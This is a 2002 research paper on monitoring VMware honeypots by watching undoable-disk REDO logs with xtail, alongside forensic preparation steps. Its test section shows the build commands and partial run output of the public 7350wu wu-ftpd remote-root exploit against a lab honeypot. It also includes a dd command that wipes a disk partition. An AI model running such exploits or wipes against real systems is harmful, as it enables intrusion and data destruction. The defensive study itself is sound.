--[ Monitoring VMware Honeypots ]--

Ryan C. Barnett
September 04, 2002

  1. Abstract
  2. Introduction
    1. What is a Honeypot?
    2. What is a Virtual Honeypot?
    3. Data Capture on Honeypots
    4. Data Capture on Virtual Honeypots
    5. Raw Disks vs. Virtual Disks
  3. Environment
  4. Configuration
    1. VMware Install
    2. Configuring Disks
    3. Key Concept - Undoable Disks
    4. Xtail Overview
    5. Building Xtail
    6. Forensic Preparation
    7. Using Xtail
  5. Test Scenario
  6. Data and Results
  7. Conclusion

[ Abstract ]

Back in January 2002, I made two posts to the Honeypot and Forensic mail-lists on the SecurityFocus website -

In these two posts, I presented two different methods for analyzing VMware virtual disk files and/or DD images (since in theory, they are relatively similar).  The first method presented was to create a huge list of common hacker words (sniff, backdoor, trojan, etc...) and then run SWATCH in pass-through mode with this wordlist against an image looking for places to conduct further investigation.  While the use of SWATCH for this purpose was overkill, since using egrep or fgrep can achieve the same results, the second idea for using SWATCH was a new concept.  This was the idea of having some tool (in this case SWATCH) attempting to monitor the actual live VMware image of a Virtual Guest OS honeypot.  This technique is not based on any keyword searching like the previous method, but instead would try and monitor for any changes made within the virtual honeypot system.  This brings up the concept of "Data Capture" with regards to Honey(pot|net) monitoring.

One of the biggest challenges for the Honeynet Project has been finding methods of monitoring that will, hopefully, be undetectable by the intruder.  In the past, this has included network monitoring, remote log collection, key-stroke capturing via modified Bash shells and loadable kernel modules.  The monitoring technique that I present provides a way for the Host OS (which would be housing all of the Guest OS's of the Virtual Honeynet) to become a virtual "Big-Brother" if you will.  It could use a tool (not necessarily SWATCH) to monitor each VMware OS that is running under it.  This would allow for monitoring of system activity of the Virtual Honeypots without having to alter ANYTHING on the honeypot itself.  This monitoring is especially useful if the attacker decides to use encrypted channels into the honeypot, thus leaving the network monitoring mechanisms unable to decipher the information.

I conducted some initial tests using SWATCH in this manner, however, it did not work effectively.  This was due to SWATCH's reliance on  PERL's TAIL function to search for data.  Since the VMware Honeypot virtual disk files could change content anywhere within the file, and not just at the end, SWATCH was not a reliable method of monitoring.  I then came across a utility called xtail, which allowed me to monitor the entire file for changes.

This paper will discuss many of the techniques that I use to monitor both user and system activity within a VMware Guest OS honeypot system.  The system activities include both the creation and content of new files and directories, including rootkits, live sniffer logs, etc...  The steps outlined throughout this document will show different methods to identify and extract information and files directly from the live virtual guest OS without altering the pre configuration of the honeypot host.  These methods also present an alternative to conducting the normal live forensic audit of the honeypot system, where data contamination such as altering MACtimes often occurs.  Once this data has been extracted from the live honeypot it can then be analyzed using standard forensic techniques and tools.  This analysis includes using the following tools:

While VMware is used as the virtual OS honeypot software, these techniques and concepts should translate effectively to other types of virtual emulation software packages such as:
[ Introduction ]

What is a Honeypot?
Before you can define what a virtual honeypot is, you must first define a normal honeypot.  A honeypot is a system designed to look like something that an intruder can hack. Examples can be:

Lance Spitzner, a leading Honeypot Expert, describes honeypots as "a security resource who's value lies in being probed, attacked or compromised." This means that whatever we designate as a honeypot, it is our expectation and goal to have the system probed, attacked, and potentially exploited. Keep in mind, honeypots are not a solution. They do not 'fix' anything. Instead, honeypots are a tool. How you use that tool is up to you and depends on what you are attempting to achieve. A honeypot may be a system that merely emulates other systems or applications, creates a jailed environment, or may be a standard built system. Regardless of how you build and use the honeypot, it's value lies in the fact that it is attacked.[2]

What is a Virtual Honeypot?
The difference between a real and a virtual honeypot lies in the fact that a virtual honeypot uses application software to create a new, separate operating system environment.  The virtual host actually uses or shares that same hardware as the physical OS does.  Instead of using different hardware for each host, many different virtual servers may be contained on one piece of hardware.  The Honeynet Project describes in detail the difference between a First Generation (GenI) Honeypot/Honeynet using separate hardware for each network host vs. Second Generation (GenII) Honeypots/Honeynets using virtual software to condense the environment down to one piece of hardware - http://project.honeynet.org/papers/honeynet/ :
Another area the Honeynet Project is researching is the use of virtual Honeynets. Virtual Honeynets combine all the elements of a Honeynet onto one physical system. Not only are all three requirements of Data Control, Data Capture, and Data Collection met, but the actual honeypots themselves run on the single system. Virtual Honeynets can support either GenI or GenII technologies. The honeypots are actual operating systems. Nothing is emulated. The advantage here is one of cost and efficiency. It is much cheaper to use a single system to run all the elements of a Honeynet, and it is much easier to deploy and maintain. One such example is the use of VMware. VMware allows various operating systems to run at the same time on the same system. Team member Michael Clark is leading this research and has published the paper Virtual Honeynets. Kurt Siefried has written a whitepaper on the Data Capture issues with VMware virtual Honeynets. 

The Honeynet Project is also actively working with other organizations in the research of User Mode Linux, developed by Jeff Dike. UML has the capability of running multiple instances of Linux on the same systems (over twenty guest OS's have been achieved on a single box). UML is Open Source and free, however it is currently limited to Linux systems. It is hoped to port UML to other operating systems in the future. 

Data Capture on Honeypots
The Honeynet Project gives a detailed explanation for Data Capture issues on honeypots:
Data capture is the capturing of all of the blackhat's activities. It is these activities that are then analyzed to learn the tools, tactics, and motives of the blackhat community. The challenge is to capture as much data as possible, without the blackhat knowing their every action is captured. This is done with as few modifications as possible, if any, to the honeypots. Also, data captured cannot be stored on locally on the honeypot. Information stored locally can potentially be detected by the blackhat, alerting them the system is a Honeynet. The stored data can also be lost or destroyed. Not only do we have to capture the blackhats every move without them knowing, but we have to store the information remotely.


A third layer are the systems themselves, we want to capture all system and user activity that occurs on a system. The first method for this is to have all system logs not only log locally, but to a remote log server. For Unix systems and most network devices, this is simply done by adding an entry for a remote syslog server in the configuration file. For Window based systems there are third party applications that will remotely log information. Also, system logs can be written to a NFS or SMB share on the remote log server. NT requires you use third party software to have the capability to write system information to syslog, but it can write it to a network file system. This way, critical system information such as process activity, system connections, and attempted exploits are safely copied to a remote system. We do not want to make any attempt to hide the use of a remote syslog server. If the blackhat detects this, the worse they can do is disable syslogd (which is standard behavior for most blackhats). This means we will no longer have continued logs, however we will at least have information on how they gained access and from where. 

More advanced blackhats will attempt to compromise the remote syslog server in an attempt to cover their tracks. This is exactly what we want to occur. The syslog server is normally a far more secured system. This means for a blackhat to successfully take control of such a system they will have to use more advanced techniques, which we will capture and learn from. If the syslog server is compromised, we have lost nothing. Yes, the blackhat can gain control of the system and wipe the logs. However, do not forget, our IDS system that is on the network passively captured and recorded all of the logging activity that happened on the network. In reality, the IDS system acts as a second remote log system, as it passively captured all the network data. 

A second method to capturing system data is to modify the system to capture keystrokes and screen shots and remotely forward that data. The Honeynet Project is currently testing several tools that have this functionality. The first is a modified version of bash. This shell, developed by Antonomasia, can be used to replace the system binary /bin/bash. The trojaned shell forwards the user's keystrokes to syslogd, which is then forwarded to a remote syslog server. A second option is a modified version of TTY Watcher. This kernel module captures both user keystrokes and screen captures and forward this information over a non-standard TCP connection. There are a variety of other options to this functionality. 

The Honeynet Project has also outlined a standard for configuring Honeynets which includes the Data Capture phase:
II. Data Capture
This defines the specific requirements for data capture.
  1.  No Honeynet captured data will be stored locally on the honeypot. (Data logged on honeypots is assumed to be unreliable,     and may be modified by intruders.) Honeynet captured data is any logging or information capture associated with activity within a Honeynet environment.
  2.  No data pollution can contaminate the Honeynet, invalidating data capture. Data pollution is any activity that is non-standard

  3.     to the environment.  An example would be a non blackhat testing a tool by attacking a honeypot.
  4.  The following activity must be captured and archived for one year.
    •      Network Activity
    •      System Activity
    •      Application Activity
    •      User Activity
  5.  The ability to remotely view this activity in real time.
  6.  The automated archiving of this data for future analysis.
  7.  Maintain a standardized log of every honeypot deployed.  Refer to Appendix A (Honeypot Deployment) for template.
  8.  Maintain a standardized, detailed write-up of every honeypot compromised. Refer to Appendix B (Honeypot Compromise) for template.
  9.  Honeynet sensors' data capture must use the GMT time zone.  Individual honeypots may use local time zones, but data will have to be later converted to GMT for analysis purposes.

  10.  Resources used to capture data must be secured against compromise to protect the integrity of the data.[3]

The information listed above outlines the requirements for Data Capture logging within Honeynets and breaks down to the following three types of monitoring:

  1. Firewall logging of both inbound/outbound connections
  2. Network Intrusion Detection logging of all traffic, and
  3. Host based modifications to log both system and user activity
Since we will not be discussing Honeynet Data Capture and only Honeypot Data Capture, we will be focusing on the third monitoring technique - Host-based.  The various different host based logging mechanism listed above are effective.  I have even written a separate document describing a new method for honeypot shell session logging via a modified version of the script utility.  You can read about this technique in my SANS GIAC Forensic Analyst paper - http://honeypots.sourceforge.net/modified_script.html.

Even with the most stealthy host-based modifications, such as the loadable kernel modules for keystroke logging, the fact is that any changes made to the honeypot can potentially be identified by the attacker.  Even the use of stealthy monitoring LKMs can be detected by the attacker by including LKM checking tools (ala a modified version of chkrootkit) within their rootkits.  So the question is - How can we monitor activity within a virtual honeypot system without making any logging modifications to the honeypot system itself?

Data Capture on Virtual Honeypots
One of the distinct advantage to using virtual honeypots over normal separate honeypot systems, is the fact that the virtual Guest honeypot system is actually running inside the Host OS system.  With this configuration, we are able to access (monitor) the files which make up the virtual honeypot system without having to use the network to do so.  There are two different ways to implement a VMware Guest OS system onto a Host OS system - either using "Raw Disks" or "Virtual Disks".  We will discuss the difference below, however, both implementations allow the Host OS system to access the Guest OS files.  It is this ability which we will be utilizing to monitor our Guest OS honeypots.

Raw Disk vs. Virtual Disk
Existing Physical (Raw) Disk: An existing physical disk or raw disk is a partition on a physical IDE or SCSI drive connected to the host computer. You use raw disks if you want Workstation to run one or more guest operating systems from existing disk partitions. Raw disks may be set up on both IDE and SCSI devices.

Virtual Disk: A virtual disk is a file on the host file system that contains all data stored in the virtual IDE or SCSI drive visible to the guest operating system. A virtual disk can be created on any type of disk (IDE, SCSI, etc.) and any type of file system (E2FS, FAT, FAT32, NTFS, etc.) supported by the host operating system. The virtual disk can also be created on a removable disk drive or placed on a network file server. The New Virtual Machine Wizard will place the virtual disk in the virtual machine directory that you specify. Virtual disks can be as large as 128GB for IDE virtual hard disks and 256GB for SCSI virtual hard disks. Workstation creates a file for each 2000MB of virtual disk capacity. The actual files used by the virtual disk start out small and grow to the maximum size as needed.  A key advantage of virtual disks is their portability. Because the virtual disks are stored as files on the host machine or a remote computer, you can move them easily to a new location on the same computer or to a different computer.

Kurt Seifried describes the difference between these two VMware disk types:
"Virtual disks are a set of files that VMware presents as a "real" hard drive to the guest operating system, raw disk partitions are a "real" partition on a "real" hard drive that the guest operating system is given access to. There are several advantages and disadvantages to either approach, largely depending on what your goals for the honeypot are. If your purpose is quick research or primarily as an early warning device and you do not plan to prosecute it is acceptable to use virtual disks. They allow for easy copying and recreation of a honeypot once it has been compromised and are the simplest to install. However if the guest operating system is sufficiently damaged you will not be able to access it very easily, and since it uses a custom file format you will not be able to examine it easily with common forensics tools such as TCT or EnCase. The major advantage of virtual disks is convenience, however you will lose much of any ability to perform forensics.

For deeper forensics, and especially if you plan to prosecute the best option is to use raw disk partitions. I would recommend using a physically separate hard drive from the host operating system's hard drive, this will ease partitioning and make potential cross contamination less likely. There is one primary piece of advice I feel compelled to offer: use a separate hard drive and put it in a drive tray to make removal as easy as possible. If you use drive trays you will be able to quickly swap the drive into a forensics system, although it is unlikely that the attacker will be able to break into a properly secured VMware host machine it is possible.

Setup and installation on a raw disk partition is relatively straight forward and well documented (especially the problems you are likely to run in to under Windows). By using an entire disk you make life much easier for yourself, cloning the drive can be accomplished by simply dd'ing the contents to an identical drive, and handling of evidence will be simplified if the only contents of the harddrive are related to the incident at hand and not several installations." [4]

There are obvious advantages and disadvantages to using either of these two disk types.  Due to the raw disk's similarity to a normal file structure, system operation and forensic response techniques, for the purpose of this paper I will be using the virtual disk type for honeypot monitoring.  There are some advantages to using the virtual disks as well.  First of all, it is easier to install the VMware Guest OS host since you will not have to bother with repartitioning the Host system.  These files are also portable so that you can transfer them to other system rather easily.  In either case, however, in order to be forensically sound, when using both raw and virtual disks for Guest OS systems, you should conduct some partition cleaning steps.
"Probably the most important piece of preparation that can be done is to zero the partitions that the guest operating system data resides upon. For raw partitions simply zero the partition as you normally would. For virtual disks things are a bit more complex, VMware only makes the files as large as is necessary, growing them as more data is added, thus it is possible for contamination from existing data on the drive the virtual disks reside on. To complicate matters if you have multiple virtual disks (i.e. multiple guest operating systems) on a single partition as they grow and contract they may use hard disk areas previously used by other guest operating systems. Probably the simplest way to deal with this is to partition the drive so that each guest operating system's virtual disk files reside on a separate partition, and of course these partitions should be zeroed before use.

A handy little wiping utility is available from IBM for free at:
simply unpack it to a floppy disk and then use "wipe x" where x is the device number (0-7).

For UNIX systems simply use dd to wipe the disk, with a command such as:

dd bs=1000k if=/dev/zero of=/dev/partitionname" [4]

[ Environment ]

The ideal environment for testing this scenario would be when both a VMWare Host and Guest OS have the same OS platform.  For example -

This setup will allow for less OS filestructure problems (different inodes, superblocks, etc...) when we attempt to analyze and extract information from the VMware Virtual Disk files.  As you would assume, having a Host OS of Windows results in a different file structure for the Linux Guest OS Virtual Disks as opposed to a Linux Host OS creating these same disk files.  Unfortunately, I did not have access to a Linux OS host at the time of this writing.  Further testing is needed to realize the full impact of this virtual honeypot monitoring scenario in a homogenous OS implementation.

The testing was conducted on a closed network.  The network consisted of one Windows 2000 Workstation, which was the VMware Host OS machine.  There was one RedHat Linux Guest OS machines on the Windows 2000 Workstation.  There was also two SUN Microsystems SUNBlade 100 Workstations on the test network.  The machines were connected by a CableTron Systems Multi Port Repeater with LANVIEW- MR9T 802.3 10BaseT.  Since this test was conducted on a closed network, the possibility for outside network interference was minimized.  The test environment used for these tests was:



The testing was conducted on a closed network.  The machines were connected by a CableTron Systems Multi Port Repeater with LANVIEW- MR9T 802.3 10BaseT.  Since this test was conducted on a closed network, the possibility for outside network interference was minimized.

Test Network

[ Configuration ]
VMware Install
I will not be discussing every step for installing and configuring a RedHat Linux 6.2 VMware Guest OS onto a Windows 2000 Host OS system.  For step by step instructions, following the directions at the VMware web site -  http://www.vmware.com/support/ws3/doc/install_ws.html#1014257.  There are a couple of key configurations, however, that we need to make during the installation process to create a honeypot environment that will assist us with capturing both system and user activity within the VMware honeypot Guest OS system.

  1. Choose the amount of memory that should be allocated to this virtual machine.

  2. The default amount of memory that is allocated to a new virtual machine created with VMware Workstation 3.1 depends upon

    To configure the memory for a virtual machine:

    Here is an example of the memory configuration screen:

    VMware Memory Configuration Screen

    We want to configure our virtual honeypot system to use the least amount of memory as possible.  This will most likely cause the Guest OS system to write most of its data that would normally be held within memory to the local swap file.  When this data is written to the swap file, we will have a greater chance of capturing this data.  Further discussion of capturing the data written to disk will be covered in the next section - Configuring the disk mode for a virtual machine.

  3. Configuring the disk mode for a virtual machine.

  4. There are three different disk modes which can be enabled for both raw and virtual disks:
      Undoable disks are similar to nonpersistent disks in that writes to the disk are stored in a file called a redo log. An undoable disk, unlike a nonpersistent disk, gives you the option later of permanently applying the changes saved in the redo log, so they become part of the main disk.  While the Workstation session is running, disk blocks that have been modified and written to the redo log are read from there instead of the disk. Any disk type can be used in undoable mode. When you power off a Workstation session with an undoable disk, you are given three options: commit the changes in the redo log to the disk, discard the changes in the redo log, or keep the redo log. If you choose to keep the redo log, the next time you power on the virtual machine Workstation detects the redo log file and prompts you to either commit the redo log changes from the previous session, discard the redo log, continue appending changes to the redo log or cancel the power on.  Below is the virtual disk configuration screen where I have selected the Undoable disk:

    Virtual Disk Configuration Screen

    With the implementation of the undoable virtual disks, we are able to have a baseline of our verified, freshly installed system with the normal VMware disk files and separate any changes made to the system, presummably by attackers, into the redo log files.  This will allow us to identify and monitor all of the changes made to our honeypot system by analyzing the redo logs instead of the normal virtual disk files.

    Key Concept - Undoable virtual disks are the key factor for effective VMware honeypot monitoring.

    Before conducting forensic analysis of compomised systems, the normal process is to create exact replicas of the entire system.  This is normally achieved by using tools such as DD to create a bit by bit copy of each partition on the system.  Why is this necessary?  There are two reasons:

    1. Integrity of the Data - By using tools such as DD and MD5, Forensic Analysts can validate the integrity of the data.  This issue is crucial if the evidence will ever be used in future legal actions.  If this data will be used to prosecute an attacker, then an exact replica of the system must be made.

    3. Create Data Images for Forensic Examination

    4. In order to have data to examine, DD can be used to create these replicas.  This will allow us to have data to work with for the examination process while not accessing and/or altering the original.
    The down side of this process is that the resulting images used for forensic analysis are extremely large.  We are often talking about many GBs of data.  Forensic Analysts must comb through vast amounts of data and search for the perverbial "Needles in the Haystack."   The problem with the forensic analysis of these huge files is data overloadUsing the VMware Undoable disks actually helps to alleviate the issue of data overload by narrowing the scope of the interest to only new data.  This is actually the same type of concept which the Honeynet Project emphasises as a design benefit of Honeynets:
    How it Works 
    Conceptually, Honeynets are a simple mechanism. We create a network similar to a fishbowl, where we can see everything that happens inside it. Similar to fish in a fishbowl, we can watch and monitor attackers in our network. Also just like a fishbowl, we can put almost anything in there we want. This controlled network, becomes our Honeynet. The captured activity teaches us the tools, tactics, and motives of the blackhat community. 

    Traditionally, the greatest problem security professionals face in detecting and capturing blackhat activity is information overload. The challenge for most organizations is determining from vast amounts of information what is production traffic and what is malicious activity. Tools and techniques such as Intrusion Detection Systems, host based forensics, or system log analysis attempt to solve this by using a database of known signatures or algorithms to determine what is production traffic and what is malicious activity. However, information overload, data pollution, unknown activity, false positives and false negatives can make analyzing and determining activity extremely difficult. 

    Like all honeypots, the Honeynet solves this problem of data overload through simplicity. A Honeynet is a network designed to be compromised, not to be used for production traffic. Any traffic entering or leaving the network is suspicious by definition. Any connection initiated from outside the Honeynet into the network is most likely some type of probe, attack, or other malicious activity. Any connection initiated from the Honeynet to an outside network indicates that a system was compromised. An attacker has initiated a connection from his newly hacked computer and is now going out to the Internet. This concept of no production traffic greatly simplifies the data capture and analysis. 

    Much in the same way that Honeynets allow the WhiteHats to focus in on malicious network data by removing the normal Production traffic, using the Undoable virtual disks when monitoring VMware honeypots allows the WhiteHats to focus in on ONLY the new system data introduced to the honeypot system.  Modifiying the Honeynet Project description above we can summarize our idea - "Any new system activity stored in the VMware REDO log files is suspicious by definition."  By focusing in on only the REDO log file data instead of the normal OS files, results is a significant decrease in the amount of data to analyze.

    This leads us to our next question - How can we monitor the REDO log files?  We will now talk about the tool we will use to monitor the REDO logs - Xtail.

Xtail Overview
Xtail is a utility that will watch the growth of one or more files in a directory and print the content to the screen.  Here is the information from the xtail MAN page:
       xtail - Watch the growth of files.

       xtail entry ...

       Xtail  monitors one  or more files, and displays all data
       written to a file since command invocation.   It is  very
       useful for monitoring multiple logfiles simultaneously.

       If  an entry given on the command line is a directory, all
       files in that directory will be monitored, including those
       created after the xtail invocation.  If an entry given on
       the command line doesn't exist, xtail will  watch  for  it
       and  monitor it once created.  When switching files in the
       display, a banner showing the  pathname of  the file  is

       An  interrupt  character (usually CTRL/C or DEL) will dis-
       play a list of the  most recently  modified  files  being
       watched. Send a quit signal (usually CTRL/backslash) to
       stop xtail.


       Xtail may be easily confused.  For example, if a file  is
       renamed, xtail may or may not continue to monitor it.  If
       you ask it to monitor a file multiple times,  it probably
       will.   If you misspell a filename, xtail will treat it as
       a nonexistent entry and happily wait for its creation.

       My favorite use is "xtail /usr/spool/uucp/.Log/*".

       Chip Rosenthal <chip@unicom.com>

The xtail README file is also very small and has some relevant information:
=== CHANGES ===

v2.1 - Stamps out a Y2K bug and now uses GNU autoconf.

=== SUMMARY ===

"xtail" watches the growth of files.  It's like running a "tail -f"
on a bunch of files at once.  The syntax is:

 xtail name ...

You can specify both filenames and directories on the command line.
If you specify a directory, it watches all the files in that
directory.  It will notice when new files are created (and start
watching them) or when old files are deleted (and stop watching

I originally wrote this program so I could run:

 xtail /usr/spool/uucp/.Log/*

Even though I don't use "uucp" any more, I still use this utility
a lot.  These days, my favorite is:

 xtail /var/log/* /usenet/lib/*log


 - xtail version 2 requires an ANSI compiler such as gcc.
 - Run:  sh configure
 - If you'd like, review the configuration definitions in xtail.h
 - Run:  make
 - If you'd like, as root run:  make install


This program is an oldie but goodie.  It was posted to comp.sources.misc
in July 1989 (see ftp.uu.net:/usenet/comp.sources.misc/volume7/xtail.Z).
I remember posting an even earlier version to alt.sources.  It has been
published in the O'Reilly & Associates "Unix Power Tools" collection
(book and CD-ROM).

Over the years, some fly-by-night organizations (such as the MIT X
Consortium and SGI) have tried to steal the "xtail" name.  Don't be
fooled!  Insist on the original.

The 1989 release credited David Dykstra for his contributions.

Chip Rosenthal

$Id: README,v 2.4 2000/06/04 05:15:35 chip Exp $

Even though xtail says that it is similar in functionality to running a "tail -f filename" command, it is actually quite different.  Whereas tail will only monitor any changes appended to the end of a file, xtail actually monitors the entire file.  When xtail is invoked with the following command:
# xtail /var/log/messages

It will monitor the /var/log/messages file for any changes, this includes both new data and deletions.  Xtail uses two different parameters within its C looping function to determine if a file that it is monitoring has changed -

Here are some important sections of source code from the xtal.c file which show how the modifictions are handled:
  * Go through all of the files looking for changes.
 Dprintf(stderr, ">>> checking files list (%s)\n",
     (open_files_only ? "open files only" : "all files"));
 for (i = 0 ; i < List_file->num_entries ; ++i) {

     entryp = List_file->list[i];
     already_open = (entryp->fd > 0) ;

     -- CUT --

      * Get the status of this file.
     switch (stat_entry(List_file, i, &sbuf)) {
     case ENTRY_FILE:  /* got status OK  */

-- CUT --

      * If the file isn't already open, then do so.
      *   Note -- it is important that we call "fixup_open_files()"
      *   at the end of the loop to make sure too many files don't
      *   stay opened.
     if (!already_open && open_entry(List_file, i) != 0) {

     -- CUT --

      * Seek to where the changes begin.
     if (lseek(entryp->fd, entryp->size, 0) < 0) {
  message(MSSG_SEEK, entryp);
  rmv_entry(List_file, i--);

      * Dump the recently added info.
  int nb;
      static char buf[BUFSIZ];
  message(MSSG_BANNER, entryp);
  while ((nb = read(entryp->fd, buf, sizeof(buf))) > 0) {
      (void) fwrite(buf, sizeof(char), (unsigned) nb, stdout);
      entryp->size += nb;
  if (nb < 0) {
      message(MSSG_READ, entryp);
      rmv_entry(List_file, i--);

      * Update the modification time.
     entryp->mtime = sbuf.st_mtime; 

This code shows how xtail continuously searches through the list of files looking for any changes and reporting this information to standard output.

Building Xtail
Before we can use xtail to monitor the VMware Guest OS REDO files, we will need to compile the xtail source code to create a Cygwin executable binary.  I moved the xtail-2.1.tar file into the VMware Guest OS directory and executed the steps below to compile xtail:

Xtail Configuration

The resulting /path/to/VMware/Linux/ directory contained the following files:

VMware Guest OS Directory Content with Cygwin Terminal

The picture above shows the same directory contents from both the VMware Host OS (Windows 2000) and the Cygwin Terminal window.

Forensic Preparation
Before we are ready to deploy the VMware Honeypot system, we need to conduct a few more forensic steps which will aide in our Incident Response steps.

  1. Create a replica of the VMware honeypot system

  2. Once we have created the honeypot system named, for example Linux1, we will then want to create an exact replica of this VMware host.  This replica will be used as our Forensic Test Lab server.  To accomplish this task, we can simply copy all of the VMWare Guest OS files into a new directory and rename them appropriately, for Example Linux1_Lab.  This replica of the original Linux1 VMware host will allow us to move the updated changes (attacker modifications) from the live honeypot system to the replica server for analysis.  Once you have copied all of the files and renamed then, you will need to update the /path/to/VMware/Linux1_Lab/linux.vmx file.  This file holds the configuration information about the VMware host.  You can open the file in Notepad and edit the settings.  You will want to change two pieces of information, the name displayed and the path to the virtual disk files:
    config.version = "6"
    virtualHW.version = 2
    displayName = "Linux1_Lab"
    scsi0:0.mode = "undoable"
    draw = "gdi"
    guestOS = "linux"
    ide1:0.present = TRUE
    ide1:0.deviceType = "atapi-cdrom"
    ide1:0.fileName = "auto detect"
    scsi0:0.present = TRUE
    scsi0:0.fileName = "C:\Documents and Settings\username\My Documents\My Virtual Machines\Linux1_Lab\Linux1.vmdk"
    scsi0.present = TRUE
    ethernet0.present = TRUE

    If you fail to update this file, then the live honeypot virtual disks will be used instead of the Forensic Test VMware host's files.  This is bad!  This would cause data pollution in the live honeypot system.  Remember, the goal of this entire process is to monitor and extract changed data without modifying the original honeypot host.

  3. Create a baseline of all honeypot system files

  4. Before we start up the Linux1 VMware honeypot, we need to log into the VMware Linux_Lab server and create an MD5 baseline of every file on the system.  This baseline will be used to identify any changes made (attacker modifications) to the VMware Linux1 honeypot system.  There are many different tools which can be used for this process such as Tripwire, AIDE, etc...  I installed Tripwire and created a database from the linux tw.config file.  Once this new tripwire database was created, I then used FTP to copy both the linux tw.config file and the tripwire database - tw.db_saphe3 - onto the Windows 2000 VMware Host OS system.  This database will be used later to verify data when we introduce new REDO log data from the Linux1 VMware honeypot into the VMware Linux1_Lab host.
Once these steps have been completed, I then shutdown the Linux1_Lab VMware host.  The system asked me if I wanted to commit the system changes which were stored in the Linux1_Lab REDO files to disk.  I selected NO.  This removed all information in the REDO logs and kept the Linux1_Lab virtual disks in the same state as before I conducted any of these Forensic Preparation steps.

Using Xtail to Monitor Live VMware REDO Logs
Now that we have everything in place, we need to start up the Linux1 VMware Guest honeypot system.  We do not want to use xtail to monitor the REDO log files during this timeframe since the virtual disks will be performing normal system startup procedures.  Once the VMware host is booted up into full interactive mode, then I will start monitoring the local REDO log files with xtail to identify any changes made to the system.

Since there will be multiple REDO files within the Linux1 VMware systems directory, I want to tell xtail to monitor any file in this directory with the "*REDO" extension.  These are the files that will contain all of the new system data.  If we monitor all of the files in this directory, we will receive data which we are not interested in, such as the data in the  vmware.log file.  This log file simply logs the VMware applications data such as when you type "Ctrl+Alt" to exit the VMware application to return to the Host system.

Due to the fact that the VMware REDO virtual disks will contain both ASCII text and Binary data, we do not want to use xtail to report on this data directly to the terminal screen.  The techinque that I use actually takes the output from xtail and then pipes the data into the "strings -a" command.  This will extract out only ASCII text.  This data is then redirected to a log file called - Linux1.log and run this as a background process.  This allows me to monitor the Linux1.log file by using the "tail -f Linux1.log" command.  The the full command string to activate xtail to monitor the REDO files looks like this:

Starting Xtail to Monitor the REDO Logs

[ Test Scenario ]
The testing scenario for this VMware honeypot monitoring should achieve the following goals:

  1. Capture all new data created in the VMware REDO virtual disk files
  2. Provide the ability to monitor this data in real time with the use of xtail
  3. Provide the ability to review the ASCII text of this data in either real time or in post-mortem log file analysis
  4. Conduct forensic analysis by analyzing the REDO file data with the TCT toolset
  5. Conduct additional, common forensic analysis of the REDO information by introducing the data into the forensic VMware host - Linux1_Lab
  6. Finally, this technique should abide by the rules set forth by the Honeynet Project for Data Capture

The Honeypot Compromise -  This test will simulate a typical honeypot compromise by running a buffer-overflow attack against the WU-FTPD running on the RedHat Linux 6.2 VMWare honeypot system.  The goal of this test from the attacker's perspective is to creat a root shell by exploitng the WU-FTPD and then download and install a the lrk5 rootkit.  The goal from the WhiteHat's perspective is to be able to effectively monitor all of this activity by using xtail to monitor the VMware REDO virtual disk file.

In order to better illustrate how this testing scenario was set up, I will give a quick visual example.  Below is a picture of both the VMware Guest OS Linux Desktop honeypot system and the Windows 2000 Host OS system with the cygwin/Xtail applications running.

VMware Guest Linux OS with Cygwin/Xtail Application Monitoring

The next picture displays the data captured by Xtail when I gunzipped the file called ADMsniff.tar.gz within the RedHat Linux Honeypot:

Xtail Data Capture During a Gunzip of the ADMSniffer Archive

This last example screen shot shows how Xtail can capture live user/network activity.  In this graphic, I used telnet to log into a Unix server at the "Hacker's Lab" project.  In the VMware server on the right hand side, you can see where I logged into the host and was greeted with the Hacker's Lab banner message.  Back in the Xtail window on the left, you can see where Xtail captured this data!

Xtail Captures a Telnet Session

Here is a link to the entire Xtail capture file for the above session when I gunzipped the ADMsniff archive.

These two pictures give a visual representation of the Xtail monitoring setup between the Host OS and the Guest OS.  Keep this setup in mind during the following "Data and Results" section below.  Instead of showing pictures for each section of data which Xtail captured, I instead used links to a separate graphic file.
[ Data and Results ]
For this test, I downloaded the 7350wu-ftpd exploit  program.  This program will successfully execute a buffer-overflow against a wu-ftpd 2.6 running on the Linux1 VMware honeypot system.  I installed and compiled the program on the 10.XXX.XXX.53 host.
[root@saphe3 /tools]# tar -xvf 7350wu-v5.tar 
[root@saphe3 /tools]# cd 7350wu
[root@saphe3 7350wu]# ls 
7350wu.c  Makefile  common.c  common.h  network.c  network.h 
[root@saphe3 7350wu]# make 
cc -Wall -g  -c -o common.o common.c 
cc -Wall -g   -c -o network.o network.c 
cc -Wall -g -o 7350wu 7350wu.c common.o network.o 
[root@saphe3 7350wu]# ls -l
total 248 
-rwxr-xr-x    1 root     root       100138 Jun 26 09:57 7350wu 
-rw-r--r--    1 1000     1000        33365 Jul  7  2000 7350wu.c 
-rw-r--r--    1 1000     1000          164 Jul  2  2000 Makefile 
-rw-r--r--    1 1000     1000          462 Jun 27  2000 common.c 
-rw-r--r--    1 1000     1000          138 Jun 27  2000 common.h 
-rw-r--r--    1 root     root        10312 Jun 26 09:57 common.o 
-rw-r--r--    1 1000     1000        16892 Jul  6  2000 network.c 
-rw-r--r--    1 1000     1000         7959 Jun 27  2000 network.h 
-rw-r--r--    1 root     root        51320 Jun 26 09:57 network.o 

Now that I had a working ftpd exploit, I tried to execute the program to see if I could gain a root shell.  The session log below shows the 7350wu exploit successfully working.  I then create a hidden directory in /dev and download and install the LRK5 Rootkit from a remote host.  All of the commands that I typed within the 7350wu rootshell terminal are bolded.  Some of the lines below are also blue hyper-links to screen shots of the Xtail program, which was capturing the new data within the VMware Honeypot's REDO disk file in real time!  As you will see,  Xtail captured a tremendous amount of data :)
[root@saphe4 7350wu]# ./7350wu -h 10.XXX.XXX.51 -v
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso

phase 1 - login... login succeeded
phase 2 - testing for vulnerability... vulnerable, continuing
phase 3 - finding buffer distance on stack... ##########
  found: 1100 (0x0000044c)
  q: 137    d: 1    a: 0

  space required for pop buffer: 413 bytes
phase 4 - finding source buffer address... using sane address 0xbfffe210, pad 0

buffer length = 510
brute step length = 70
#using sane address 0xbfffe1ca, pad 0
#using sane address 0xbfffe184, pad 0
#using sane address 0xbfffe13e, pad 0
#using sane address 0xbfffe0f8, pad 0
#using sane address 0xbfffe0b2, pad 0
#using sane address 0xbfffe06c, pad 0
#using sane address 0xbfffe026, pad 0
#using sane address 0xbfffdfe0, pad 0
#using sane address 0xbfffdf9a, pad 0
#using sane address 0xbfffdf54, pad 0
#using sane address 0xbfffdf0e, pad 0
#using sane address 0xbfffdec8, pad 0
#using sane address 0xbfffde82, pad 0
